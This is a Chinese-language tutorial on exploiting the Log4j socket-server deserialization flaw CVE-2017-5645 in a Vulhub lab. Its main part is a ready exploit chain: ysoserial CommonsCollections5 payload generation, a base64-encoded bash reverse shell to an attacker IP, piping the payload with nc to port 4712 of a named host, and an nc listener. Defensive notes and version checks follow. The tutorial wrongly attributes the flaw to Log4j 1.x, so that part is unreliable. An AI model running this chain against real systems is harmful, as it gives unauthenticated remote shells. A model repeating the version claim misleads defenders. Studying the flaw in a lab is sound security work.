Apache Log4j(CVE-2017-5645)反序列化学习
字数 1372 2025-08-29 08:30:25
Apache Log4j反序列化漏洞(CVE-2017-5645)深入分析与利用教程
1. 漏洞概述
1.1 漏洞基本信息
- 漏洞编号: CVE-2017-5645
- 影响组件: Apache Log4j 1.x版本
- 漏洞类型: 反序列化远程代码执行
- CVSS评分: 9.8 (Critical)
- 默认利用端口: 4712 (SocketServer默认端口)
1.2 漏洞影响范围
- 所有使用Apache Log4j 1.x版本且启用了SocketServer功能的Java应用程序
- 特别影响将Log4j配置为通过网络接收日志数据的系统
2. 漏洞技术分析
2.1 漏洞成因
- 根本原因: Log4j 1.x的SocketServer类在接收网络日志数据时,直接使用
ObjectInputStream反序列化对象,没有进行任何安全检查 - 危险操作:
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream()); LoggingEvent event = (LoggingEvent) ois.readObject(); - 利用条件: 攻击者能够向目标系统的4712端口发送恶意构造的序列化数据
2.2 漏洞利用链
- 攻击者构造恶意序列化对象
- 通过Socket协议将对象发送到目标IP的4712端口
- 目标服务器反序列化恶意对象
- 触发远程代码执行
3. 漏洞复现环境搭建
3.1 使用Vulhub快速搭建
# 下载Vulhub
git clone https://github.com/vulhub/vulhub.git
cd vulhub/log4j/CVE-2017-5645
# 启动漏洞环境
docker-compose up -d
3.2 环境验证
- 检查容器是否正常运行:
docker ps - 确认4712端口已开放:
netstat -tulnp | grep 4712
4. 漏洞利用详细步骤
4.1 准备利用工具
- ysoserial: Java反序列化利用工具
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
4.2 构造反弹Shell命令
-
准备Base64编码的反弹Shell命令:
echo "bash -i >& /dev/tcp/攻击者IP/端口 0>&1" | base64示例输出:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzgwODAgMD4mMQ== -
构造最终命令格式:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}
4.3 生成Payload
使用ysoserial生成恶意序列化对象:
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
4.4 发送Payload
-
方法一: 分步执行
nc <目标IP> 4712 < payload.bin -
方法二: 直接管道执行
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}" | nc vulhub.yster.live 4712
4.5 接收反弹Shell
在攻击机监听指定端口:
nc -lvnp 8080
5. 漏洞利用注意事项
-
命令验证问题:
- 目标环境可能缺少某些基础命令(如ping)
- 建议先使用
id或whoami等基本命令验证执行是否成功
-
协议限制:
- 仅支持Socket协议发送
- 实测POST请求无法成功利用
-
利用链选择:
- CommonsCollections5是较稳定的利用链
- 根据目标环境可能需要尝试其他利用链(如CommonsCollections1-7)
6. 漏洞防御措施
6.1 临时缓解方案
- 禁用Log4j的SocketServer功能
- 在网络边界限制对4712端口的访问
6.2 长期修复方案
- 升级到Log4j 2.x版本
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.17.1</version> </dependency> - 使用安全配置禁用不必要功能
6.3 防御性编程
- 使用白名单机制验证反序列化对象
- 实现自定义的ObjectInputStream并重写resolveClass方法
7. 漏洞分析总结
-
技术要点:
- 不安全的反序列化操作是根本原因
- 利用Java反序列化漏洞执行任意命令
- 依赖Commons Collections等库的利用链
-
利用特点:
- 无需认证,直接发送恶意数据即可利用
- 影响默认配置下的Log4j 1.x版本
-
防护关键:
- 及时升级到安全版本
- 最小化网络暴露面
- 实施输入验证和过滤
附录:常用命令参考
-
检查系统是否受影响:
find / -name "log4j-*.jar" -exec sh -c 'unzip -p {} META-INF/MANIFEST.MF | grep "Implementation-Version"' \; -
快速检测脚本:
echo "检测Log4j版本..." find / -name "log4j-*.jar" 2>/dev/null | while read file; do version=$(unzip -p "$file" META-INF/MANIFEST.MF 2>/dev/null | grep "Implementation-Version" | cut -d':' -f2 | tr -d '[:space:]') echo "$file: $version" done -
应急处理命令:
# 临时禁用SocketServer kill $(lsof -t -i:4712) iptables -A INPUT -p tcp --dport 4712 -j DROP